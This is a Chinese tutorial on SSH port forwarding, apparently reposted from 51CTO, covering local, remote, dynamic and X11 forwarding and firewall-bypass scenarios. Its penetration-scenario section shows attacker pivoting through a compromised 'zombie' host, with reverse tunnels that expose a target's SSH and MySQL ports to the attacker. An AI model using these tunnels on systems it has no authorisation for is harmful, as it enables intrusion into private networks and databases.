SSH端口转发情景模拟

SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据。这一过程有时也被叫做“隧道”(tunneling),这是因为SSH为其他TCP链接提供了一个安全的通道来进行传输而得名。例如,Telnet,SMTP,LDAP这些TCP应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传输。而与此同时,如果您工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH的连接,那么也能够通过将
TCP 端口转发来使用 SSH 进行通讯。

(一)概述

SSH端口转发能够将其他TCP端口的网络数据通过SSH链接来转发,并且自动提供了相应的加密及解密服务。

(二)功能

1、加密SSH Client端至SSH Server端之间的通讯数据。

2、突破防火墙的限制完成一些之前无法建立的TCP连接。

(三) 方式

共有四种方式,分别为本地转发,远程转发,动态转发,X协议转发

1. 本地端口转发

SSH连接和应用的连接这两个连接的方向一致

ssh -L [:]:: ,Localhost参数可省略,默认为0:0:0:0,但为了安全性考虑务必使用127.0.0.1作为本地监听端口。

将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。

如下:


  1. localhost: ssh -L 7001:localhost:7070 sisca@216.194.70.6 

登陆前本地主机端口监听状态:

登陆后本地主机端口监听状态:

登陆后远程主机不会监听端口。

小结:本地端口转发的时候,本地的ssh在监听7001端口。

2. 远程端口转发

SSH连接和应用的连接这两个连接的方向相反

ssh -R [:]:: ,Localhost参数可省略,默认为0:0:0:0,为了安全性务必使用127.0.0.1作为本地监听端口。

将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。

如下:


  1. localhost: ssh -R 7001:localhost:7070 sisca@216.194.70.6 

登陆前本地主机端口监听状态:

登陆后本地主机端口监听状态:

登陆后远程主机端口监听状态:

小结:使用远程端口转发时,本地主机的端口监听并没有发生变化,相反远程主机却开始监听我们指定的7001端口。

3. 动态端口转发

把远端ssh服务器当作了一个安全的代理服务器

ssh -D [:] ,Localhost参数可省略,默认为0:0:0:0,为了安全性务必使用127.0.0.1作为本地监听端口。

建立一个动态的SOCKS4/5的代理通道,紧接着的是本地监听的端口号;动态端口转发是建立一个ssh加密的SOCKS4/5代理通道,任何支持SOCKS4/5协议的程序都可以使用这个加密的通道来进行代理访问,现在这种方法最常用的地方就是翻墙。

如下:


  1. localhost: ssh -D 7070 sisca@216.194.70.6 

登陆前本地主机端口监听状态:

登陆后本地主机端口监听状态:

小结:使用动态端口转发时,本地主机的ssh进程在监听指定的7070端口。

4. X协议转发

把远端ssh服务器当作了一个安全的代理服务器。


  1. ssh -X  <SSH hostname> 

如,我们可能会经常会远程登录到
Linux/Unix/Solaris/HP等机器上去做一些开发或者维护,也经常需要以GUI方式运行一些程序,比如要求图形化界面来安装
DB2/WebSphere
等等。这时候通常有两种选择来实现:VNC或者X窗口,让我们来看看后者。一个比较常见的场景是,我们的本地机器是Windows操作系统,这时可以选择开源的XMing来作为我们的XServer,而SSH
Client则可以任意选择了,例如PuTTY,Cygwin均可以配置访问SSH的同时建立X转发。

SSH端口转发除上述四个代表不同工作方式的参数外还有一些附属参数:

  • -C:压缩数据传输
  • -N:不执行脚本或命令,通常与-f连用
  • -f:后台认证用户/密码,通常与-N连用,不用登陆到远程主机,如果通过其他程序控制隧道连接,应当避免将SSH客户端放到后台执行,也就是去掉-f参数。
  • -g:在-L/-D/-R参数中,允许远程主机连接到建立的转发端口,如果不加这个参数,只允许本地主机建立连接。

四、场景模拟

场景一:将本机的80端口转发到174.139.9.66的8080端口


  1. ssh  -C –f –g –N –L 80:174.139.9.66:8080master@174.139.9.66 

接着会提示输入master的密码,或使用-pw参数完成

场景二:一次同时映射多个端口

Ssh -L8888:www.host.com:80 -L 110:mail.host.com:110 -L 25:mail.host.com:25 user@host,同时把服务器(www.host.com)的80,110,25端口映射到本机的8888,110和25端口

场景三:A内网主机能放问公网的123.123.123.123的22端口,但是不能访问公网234.234.234.234的21端口,但是这两台公网主机能互访。

A主机:ssh -CNfg –L 2121:234.234.234.234:21–pw abc123 user@123.123.123.123 ;然后A主机:ftp://localhost:2121

前提是获取123.123.123.123的22端口账号口令(普通和root口令均可以,区别是转发的端口问题)

场景四:A内网主机能放问公网的123.123.123.123的22端口,但是公网B主机123.123.123.123不能访问内网的A主机。

A主机:ssh -CNfg –R 2222:127.0.0.1:22–pw abc123 user@123.123.123.123;B主机:ssh 127.0.0.1 –p 2222

前提是B主机开放22端口,账号口令(自建ssh服务器,或用肉鸡),灰鸽子木马用的也是反向链接,Destination (LAN_ip) <- |NAT| <- Source (home_ip)

场景五:A内网主机只能访问公网的123.123.123.123,但是A如果想访问公网的很多资源。

A主机:ssh -CNf –D 1080 –pwabc123 user@123.123.123.123;A主机浏览器socks 5 proxy设置为localhost:8888,所有之前无法访问的网站现在都可以访问。

场景六:A内网主机开了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服务,无合法ip
地址;外网主机B(123.123.123.123),开了sshd 服务,有合法 ip ;我们的目的是让 internet
上的任何主机能访问A上的各种服务。

B主机:sshd服务端做点小小的设置:vi /etc/ssh/sshd.config加入 GatewayPorts
yes,然后重启sshd服务:/etc /init.d/ssh restart 或 /etc/init.d/sshd
restart或使用-g参数

A主机:ssh -CNf –R21:127.0.0.1:21 –pw abc123 user@123.123.123.123

公网其它主机:ftp://123.123.123.123:21

场景七:A内网主机开了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服务,无合法ip
地址;外网主机 B(123.123.123.123) 开了sshd 服务,有合法 ip ;我们的目的是让 internet
上的任何主机能访问 A 上的各种服务。

A主机:ssh -CN –R1234:127.0.0.1:80 –pw abc123 user@123.123.123.123

B主机:socattcp-listen:80,reuseaddr,fork tcp:localhost:1234

公网其它主机:http://123.123.123.123:80,此时就是访问内网主机的80端口

场景八:PuTTY自带的plink.exe实现ssh代理


  1. PLINK.EXE-C -N -D 127.0.0.1:7000 est@202.115.22.x[:21314] 
  2.  
  3. ssh -CfNg -D127.0.0.1:7000 est@202.115.22.x:21314 

五、渗透情景模拟

  • A为攻击主机,开启的ssh服务
  • B为web/应用/数据库服务器,开启22/80/3306端口
  • D为肉鸡,开启22端口

情景一:

方法一:socks5代理

A: ssh –D 8080 root@B_IP –pw root

方法二:本地端口转发(B的3306端口)

A:ssh –L 3306:B_IP:3306 –pw root root@B_IP

方法三:远程端口转发

B: ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP

情景二:

方法一:socks5代理

A:ssh -D 8080 root@A_IP –pw root

B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP

方法二:远程端口转发(将3306端口转发)

B:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP

情景三:

方法一:socks5代理

A:ssh -D 8080 root@A_IP -pw root

B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP

方法二:远程端口转发(将3306端口转发)

B:ssh -R 3306:C_IP:3306 -pw root root@A_IP

法三:

B:ssh –L 1234:C_IP:3306 –pw root root@C_IP

B:ssh –R 3306:127.0.0.1:1234 –pw root root@A_IP

情景四:

(一)

22端口转发

  • A: ssh –L 2222:B_IP:22 –pw root root@D_IP

3306端口转发

  • D: ssh –L 3306:B_IP:3306 –pw root root@B_IP
  • A: ssh -L 3306:D_IP:3306–pw root root@D_IP

(二)

22端口转发

  • B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP
  • A:ssh –L 2222:D_IP:2222 –pw root root@D_IP

3306端口转发

  • B: ssh –L 3306:127.0.0.1:3306 –pw root root@D_IP
  • A: ssh -L 3306:D_IP:3306–pw root root@D_IP

(三)

22端口转发

  • B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP
  • D:ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP

3306端口转发

  • B: ssh –R 3306:127.0.0.1:3306 –pw root root@D_IP
  • D: ssh -R3306:127.0.0.1:3306 –pw root root@A_IP

(四)

22端口转发

  • D: ssh –L 2222:B_IP:22 –pw root root@B_IP
  • D: ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP

3306端口转发

  • D: ssh –L 3306:B_IP:3306 –pw root root@B_IP
  • D: ssh -R3306:127.0.0.1:3306 –pw root root@A_IP

情景五:

(一)

将C的3306端口转发出来

  • D:ssh –L 3306:C_IP:3306 –pw root root@B_IP
  • A:ssh –L 3306:D_IP:3306 –pw root root@D_IP

(二)

将C的3306端口转发出来

  • B:ssh –R 3306:C_IP:3306 –pw root root@D_IP
  • A:ssh –L 3306:D_IP:3306 –pw root root@D_IP

(三)

将C的3306端口转发出来

  • B:ssh –R 3306:C_IP:3306 –pw root root@D_IP
  • D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP

(四)

将C的3306端口转发出来

  • D:ssh –L 3306:C_IP:3306 –pw root root@B_IP
  • D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP

通过将TCP连接转发到SSH通道上以解决数据加密以及突破防火墙的种种限制。对一些已知端口号的应用,例如Telnet/LDAP/SMTP,我们可以使用本地端口转发或者远程端口转发来达到目的。动态端口转发则可以实现SOCKS代理从而加密以及突破防火墙对Web浏览的限制。当然,端口转发还有很多好用的工具供大家选择。本文参考了网上之前的文章,并加入了自己的理解,感兴趣的话可以搞个环境实验下,如有问题,希望各位批评指正。

作者:yirendai_sec
来源:51CTO

时间: 2024-12-22 13:05:08

SSH端口转发情景模拟的相关文章

在Linux下的SSH端口转发的程序

  在Linux系统中的SSH端口转发,有很多种的转发操作,而且还是一种很好用的关于端口使用的程序,所以今天我们就来了解下关于SSH端口转发具体内容吧! 通常情况下两个不同的网络之间总会开放某一些特定的端口用于通讯使用,而SSH所使用的22端口通常就在开放之列.基于SSH的端口转发就是利用SSH作为中间的代理,达到绕过两个网络之间的限制,顺利的进行任意的端口的访问. 端口转发可以分为三种: 正向端口转发; 反向端口转发; 动态端口转发. 为了演示这三种端口转发方式的用法我们先假设存在有2个网域O

【转】实战 SSH 端口转发

本文转自:http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html,至于有什么用,懂的懂! 实战 SSH 端口转发 通过本文的介绍,读者可以从中了解到如何应用 SSH 端口转发机制来解决日常工作 / 生活中的一些问题.学会在非安全环境下使用端口转发来加密网络应用,保护个人隐私以及重要商业信息.同时也能够用此技术解决工作中一些常见问题,例如解决防火墙及网络应用本身带来的一些限制. 第一部分 概述 当你在咖啡馆享受免费

SSH原理与运用(二):远程操作与端口转发

作者:阮一峰 =================================================== 七.远程操作 SSH不仅可以用于远程主机登录,还可以直接在远程主机上执行操作. 上一节的操作,就是一个例子: $ ssh user@host 'mkdir -p .ssh && cat >> .ssh/authorized_keys' < ~/.ssh/id_rsa.pub 单引号中间的部分,表示在远程主机上执行的操作:后面的输入重定向,表示数据通过SSH

OpenSSH高级功能之端口转发(Port Forwarding)

原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://dgd2010.blog.51cto.com/1539422/1623200 在RedHat提供的系统管理员指南中提到OpenSSH不止是一个安全shell,它还具有X11转发(X11 Forwarding)和端口转发(Port Forwarding)的功能.X11功能一般用于通过ssh连接到服务器端的图形界面,像远程桌面一样使用Linux服务器主机,客户端只要能访问服务器端并且

使用 ssh -R 建立反向/远程TCP端口转发代理

ssh是一个非常棒的工具, 不但能建立动态转发, 例如chrome的Switchy插件用到的就是这个技术. http://blog.163.com/digoal@126/blog/static/163877040201141821810103/ 还能建立TCP的转发隧道, 例如我以前写过的关于使用ssh 隧道加密和加速WAN传输的几个例子. http://blog.163.com/digoal@126/blog/static/163877040201342383123592/ http://bl

通过SSH实现TCP/IP隧道(端口转发):使用OpenSSH可能的8种场景

对于 Secure Shell (SSH) 这样的网络协议来说,其主要职责就是在终端模式下访问一个远程系统.因为 SSH 协议对传输数据进行了加密,所以通过它在远端系统执行命令是安全的.此外,我们还可以在这种加密后的连接上通过创建隧道(端口转发)的方式,来实现两个不同终端间的互联.凭借这种方式,只要我们能通过 SSH 创建连接,就可以绕开防火墙或者端口禁用的限制. 这个话题在网络领域有大量的应用和讨论: Wikipedia: SSH Tunneling O'Reilly: Using SSH T

linux中SSH 远程端口转发的配置

我在开发 Telegram bot 时,是先在本地写好代码,上传到服务器再测试的.因为 telegram 的 setWebhook 指定的网址是线上的.这一点,与微信公众号开发时的接入服务器配置是一样的. 当然,这样谈不上什么开发效率. 网上有些端口映射的工具,比如 ngrok,但 SSH 本身就带了这样一个工具. 假设我 telegram webhook 地址是 https://www.111cn.net /telegram,服务器运行在 3344 端口,本地的开发环境运行在 localhos

SSH本地端口转发

也是在公司常用的命令,还没有将EXPECT和SPAWN结合好,先用着: 带证书验证远程登陆的. (从公司内网服务器直接跳到外网服务器的内网端口) ssh -C -f -N -g -i private_key  -L 公司内网IP:内网指定端口:外部服务器的转发内网IP:forward_port user@外网服务器IP -p外网服务器SSH端口 (从外网服务器指定端口跳到外网服务器的内网端口) ssh -C -f -N -g -i key.pub -L 外网服务器IP:服务器指定端口:外网服务器

[20160510]ssh端口隧道与转发.txt

[20160510]ssh端口隧道与转发.txt --生产环境要实现一种特殊需求,B能连通A,C不能连通A,但是C可以连通B,要求实现C通过B来访问A. --想到了SSH隧道或者端口转发,自己做一个测试: 1.环境: A: 192.168.100.78  linux B: 192.168.101.115 linux C: 192.168.101.6   windows 2.测试: --在A机器(192.168.100.78)上建立表TX,方便测试: create table tx ( cr_da